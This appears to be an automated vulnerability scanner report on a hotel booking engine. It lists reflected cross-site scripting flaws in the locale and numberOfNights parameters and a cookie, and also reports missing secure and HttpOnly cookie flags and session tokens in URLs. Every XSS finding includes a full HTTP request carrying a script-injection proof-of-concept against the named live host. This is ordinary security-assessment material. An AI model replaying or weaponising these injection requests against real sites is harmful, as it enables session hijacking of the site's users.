The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62f35"><script>alert(1)</script>dc79a45acca15f264 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /web/RetrieveReservationUDAction.do?1=&operation=RetrieveReservationUD&locale=en62f35"><script>alert(1)</script>dc79a45acca15f264&module=Reservation&execute=44dd0&operation=&module=&locale=-1&instanceId=172&languageId=-1&exceptionDesc=Instance+Id+which+is+mandatory+not+available+in+request&exceptionCode=IBE6024&lookAndFeelId=2687&lookFeelId=2687&showHF= HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: https://historichotels.ibe.netbooker.com/web/RetrieveReservationUDAction.do?1=&operation=RetrieveReservationUD&locale=en&module=Reservation&execute=44dd0 Cookie: NB4ReturnCookie=1286823531237; JSESSIONID=02900B59222E51FE233D508DFF99F1F1; multiBrowserCookie=No;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 19:10:38 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=BCC37D0CC44B2AABB632B73A4A556987; Path=/web P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 13001
<html> <head>
<title>Error</title>
<style type="text/css"> img { border: 0px; }
.footerlink { FONT-WEIGHT: normal; COLOR: #76715d; FONT-FAMILY: Times New Roman, Times, serif; FO ...[SNIP]... <input type="hidden" name="languageId" value="en62f35"><script>alert(1)</script>dc79a45acca15f264"> ...[SNIP]...
The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a764b"><script>alert(1)</script>2000338ade6 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /web/RetrieveReservationUDAction.do?1=&operation=RetrieveReservationUD&locale=ena764b"><script>alert(1)</script>2000338ade6&module=Reservation&execute=44dd0 HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286822667778; multiBrowserCookie=No; JSESSIONID=E91D3CBE2A1A54A41D4BD430A63DB332
The value of the locale request parameter is copied into the HTML document as plain text between tags. The payload 32271<script>alert(1)</script>700e8b24ce1 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /web/SinglePropertySearchAction.do?instanceId=172&lookAndFeelId=2687&locale=-19609f%22%3E%3Cscript%3Ealert(1)%3C/script%3E7770e2e9c9f34f89832271<script>alert(1)</script>700e8b24ce1&ChangeLocale=False&Reload=False&webProfileOperation=&popupOperation=&dateExtendFlag=&caller=null&callerOperation=&FirstTimeSingleSearch=false&fromDisplayPage=YES&PS_PageId=SPD&pageID=RRS.001&pageIndex=&confidentialRateFlag=NO&callerFlag=null&false=false&propCity=Norwich&propState=CT&propCountry=US&propAddress1=607+W.+Thames+St&propAddress2=Route+32&propAddress3=&propAddress4=&PropPostalCode=06360&propLatitude=41.501400&propLongitude=-72.095000&propAccuracy=&height=&width=&EnlargeImageURL=&advDesc=&imgLocation=&externalURL=&propertyCode=0622&chainCode=LM&ReferingPage=&children=0&arriveDay=11&arriveMonth=10&arriveYear=2010&departDay=12&departMonth=10&departYear=2010&numberOfRooms=1&numberOfNights=1&adults=1&roomsSortOrder=RateType&travelAgentID=&module=PropertySearch&operation=ReservationSummary&token=null&adjustDay=&propertyCodeType=&showHF=yes&ratePlanCode=RAC&roomTypeCode=C1Q&convertedRate=false¤cyDesc=US+Dollars&conversionFactor=&pagetype=&showLangLinks=yes&promotionCode=&rateCode=&smokingPref=&RefreshToken=1286822668717&policy=Guarantee&PropertyName=The+Spa+at+Norwich+Inn&tracking_domain= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286823259496; multiBrowserCookie=No; JSESSIONID=ACA0D844918D9451D3320E424433E56D
The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9609f"><script>alert(1)</script>7770e2e9c9f34f898 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /web/SinglePropertySearchAction.do?instanceId=172&lookAndFeelId=2687&locale=-19609f"><script>alert(1)</script>7770e2e9c9f34f898&ChangeLocale=False&Reload=False&webProfileOperation=&popupOperation=&dateExtendFlag=&caller=null&callerOperation=&FirstTimeSingleSearch=false&fromDisplayPage=YES&PS_PageId=SPD&pageID=RRS.001&pageIndex=&confidentialRateFlag=NO&callerFlag=null&false=false&propCity=Norwich&propState=CT&propCountry=US&propAddress1=607+W.+Thames+St&propAddress2=Route+32&propAddress3=&propAddress4=&PropPostalCode=06360&propLatitude=41.501400&propLongitude=-72.095000&propAccuracy=&height=&width=&EnlargeImageURL=&advDesc=&imgLocation=&externalURL=&propertyCode=0622&chainCode=LM&ReferingPage=&children=0&arriveDay=11&arriveMonth=10&arriveYear=2010&departDay=12&departMonth=10&departYear=2010&numberOfRooms=1&numberOfNights=1&adults=1&roomsSortOrder=RateType&travelAgentID=&module=PropertySearch&operation=ReservationSummary&token=null&adjustDay=&propertyCodeType=&showHF=yes&ratePlanCode=RAC&roomTypeCode=C1Q&convertedRate=false¤cyDesc=US+Dollars&conversionFactor=&pagetype=&showLangLinks=yes&promotionCode=&rateCode=&smokingPref=&RefreshToken=1286822668717&policy=Guarantee&PropertyName=The+Spa+at+Norwich+Inn&tracking_domain= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: https://historichotels.ibe.netbooker.com/web/DisplayRoomRateSelection.do;jsessionid=8549D603205F7400A4C0FA42D55DAC60?pageIndex=1&conversionFactor=&roomsSortOrder=RateType Cache-Control: max-age=0 Origin: https://historichotels.ibe.netbooker.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286822667778; multiBrowserCookie=No; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60
The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74121"><script>alert(1)</script>7d1713b3e71 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /web/SinglePropertySearchAction.do?instanceId=172&lookAndFeelId=2687&locale=74121"><script>alert(1)</script>7d1713b3e71&ChangeLocale=False&Reload=False&webProfileOperation=&popupOperation=&dateExtendFlag=&caller=null&callerOperation=&FirstTimeSingleSearch=false&fromDisplayPage=YES&PS_PageId=SPD&pageID=RRS.001&pageIndex=&confidentialRateFlag=NO&callerFlag=null&false=false&propCity=Norwich&propState=CT&propCountry=US&propAddress1=607+W.+Thames+St&propAddress2=Route+32&propAddress3=&propAddress4=&PropPostalCode=06360&propLatitude=41.501400&propLongitude=-72.095000&propAccuracy=&height=&width=&EnlargeImageURL=&advDesc=&imgLocation=&externalURL=&propertyCode=0622&chainCode=LM&ReferingPage=&children=0&arriveDay=11&arriveMonth=10&arriveYear=2010&departDay=12&departMonth=10&departYear=2010&numberOfRooms=1&numberOfNights=1&adults=1&roomsSortOrder=RateType&travelAgentID=&module=PropertySearch&operation=ReservationSummary&token=null&adjustDay=&propertyCodeType=&showHF=yes&ratePlanCode=RAC&roomTypeCode=C1Q&convertedRate=false¤cyDesc=US+Dollars&conversionFactor=&pagetype=&showLangLinks=yes&promotionCode=&rateCode=&smokingPref=&RefreshToken=1286822668717&policy=Guarantee&PropertyName=The+Spa+at+Norwich+Inn&tracking_domain= HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286823259496; multiBrowserCookie=No; JSESSIONID=ACA0D844918D9451D3320E424433E56D
The value of the numberOfNights request parameter is copied into the name of an HTML tag attribute. The payload 8f20f><script>alert(1)</script>e63463e8f6f was submitted in the numberOfNights parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /web/SinglePropertySearchAction.do?1=&operation=SinglePropertySearchResult&rateCode=&arriveMonth=10&travelAgentID=&module=PropertySearch&propertyCode=0622&departMonth=10&execute=Yes&instanceId=172&departYear=2010&arriveYear=2010&arriveDay=11&adults=1&departDay=12&numberOfNights=18f20f><script>alert(1)</script>e63463e8f6f&chainCode=LM&invalidateSession=True&exURL=True HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the numberOfNights request parameter is copied into the HTML document as plain text between tags. The payload 6317c<script>alert(1)</script>78640e6cbde was submitted in the numberOfNights parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /web/SinglePropertySearchAction.do?1=&operation=SinglePropertySearchResult&rateCode=&arriveMonth=10&travelAgentID=&module=PropertySearch&propertyCode=0622&departMonth=10&execute=Yes&instanceId=172&departYear=2010&arriveYear=2010&arriveDay=11&adults=1&departDay=12&numberOfNights=16317c<script>alert(1)</script>78640e6cbde&chainCode=LM&invalidateSession=True&exURL=True HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the NB4ReturnCookie cookie is copied into the name of an HTML tag attribute. The payload ebdfd><script>alert(1)</script>a29aa3dd63f was submitted in the NB4ReturnCookie cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /web/BookingSummary.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286823259496ebdfd><script>alert(1)</script>a29aa3dd63f; multiBrowserCookie=No; JSESSIONID=ACA0D844918D9451D3320E424433E56D
The value of the NB4ReturnCookie cookie is copied into the HTML document as plain text between tags. The payload ca3ae<script>alert(1)</script>ff98fa02b74 was submitted in the NB4ReturnCookie cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /web/BookingSummary.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286823259496ca3ae<script>alert(1)</script>ff98fa02b74; multiBrowserCookie=No; JSESSIONID=ACA0D844918D9451D3320E424433E56D
The value of the NB4ReturnCookie cookie is copied into the name of an HTML tag attribute. The payload 5c5de><script>alert(1)</script>123cc733fe7 was submitted in the NB4ReturnCookie cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /web/DisplayRoomRateSelection.do?pageIndex=1&conversionFactor=&roomsSortOrder=RateType HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: multiBrowserCookie=No; NB4ReturnCookie=12868232594765c5de><script>alert(1)</script>123cc733fe7; JSESSIONID=ACA0D844918D9451D3320E424433E56D
The value of the NB4ReturnCookie cookie is copied into the HTML document as plain text between tags. The payload f9f89<script>alert(1)</script>7d2987b812a was submitted in the NB4ReturnCookie cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /web/DisplayRoomRateSelection.do?pageIndex=1&conversionFactor=&roomsSortOrder=RateType HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: multiBrowserCookie=No; NB4ReturnCookie=1286823259476f9f89<script>alert(1)</script>7d2987b812a; JSESSIONID=ACA0D844918D9451D3320E424433E56D
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/BookingSummary.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286823259496; multiBrowserCookie=No; JSESSIONID=ACA0D844918D9451D3320E424433E56D
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/DisplayRoomRateSelection.do;jsessionid=8549D603205F7400A4C0FA42D55DAC60?pageIndex=1&conversionFactor=&roomsSortOrder=RateType HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/GenerateImage HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286823531237; JSESSIONID=02900B59222E51FE233D508DFF99F1F1; multiBrowserCookie=No;
Response
HTTP/1.1 200 OK Date: Tue, 12 Oct 2010 03:37:11 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=A068DD46DAB6475878F8B74C7ACD5DCD; Path=/web P3P: CP='CAO PSA OUR' Connection: close Content-Type: image/jpeg Content-Length: 637
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/PopupAction.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 18:45:28 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=BE5A7C91248B012915951EC76E24BC7A; Path=/web Content-Length: 5010 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/ReservationSummaryAction.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: https://historichotels.ibe.netbooker.com/web/BookingSummary.do Cookie: NB4ReturnCookie=1286823531237; JSESSIONID=02900B59222E51FE233D508DFF99F1F1; multiBrowserCookie=No;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 19:10:24 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=31B8273E07D2E74A12F8398CE2010DA4; Path=/web Content-Length: 5010 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/RetrieveReservationUDAction.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286823531237; JSESSIONID=02900B59222E51FE233D508DFF99F1F1; multiBrowserCookie=No;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 19:09:53 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=FF7A07285EEC88BC3A0229C0E62A8C05; Path=/web Content-Length: 5010 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /web/SinglePropertySearchAction.do?1=&operation=SinglePropertySearchResult&rateCode=&arriveMonth=10&travelAgentID=&module=PropertySearch&propertyCode=0622&departMonth=10&execute=Yes&instanceId=172&departYear=2010&arriveYear=2010&arriveDay=11&adults=1&departDay=12&numberOfNights=1&chainCode=LM&invalidateSession=True&exURL=True HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/BookingSummary.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286823259496; multiBrowserCookie=No; JSESSIONID=ACA0D844918D9451D3320E424433E56D
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/DisplayRoomRateSelection.do;jsessionid=8549D603205F7400A4C0FA42D55DAC60?pageIndex=1&conversionFactor=&roomsSortOrder=RateType HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/GenerateImage HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286823531237; JSESSIONID=02900B59222E51FE233D508DFF99F1F1; multiBrowserCookie=No;
Response
HTTP/1.1 200 OK Date: Tue, 12 Oct 2010 03:37:11 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=A068DD46DAB6475878F8B74C7ACD5DCD; Path=/web P3P: CP='CAO PSA OUR' Connection: close Content-Type: image/jpeg Content-Length: 637
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/PopupAction.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 18:45:28 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=BE5A7C91248B012915951EC76E24BC7A; Path=/web Content-Length: 5010 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/ReservationSummaryAction.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: https://historichotels.ibe.netbooker.com/web/BookingSummary.do Cookie: NB4ReturnCookie=1286823531237; JSESSIONID=02900B59222E51FE233D508DFF99F1F1; multiBrowserCookie=No;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 19:10:24 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=31B8273E07D2E74A12F8398CE2010DA4; Path=/web Content-Length: 5010 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /web/RetrieveReservationUDAction.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286823531237; JSESSIONID=02900B59222E51FE233D508DFF99F1F1; multiBrowserCookie=No;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 19:09:53 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=FF7A07285EEC88BC3A0229C0E62A8C05; Path=/web Content-Length: 5010 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
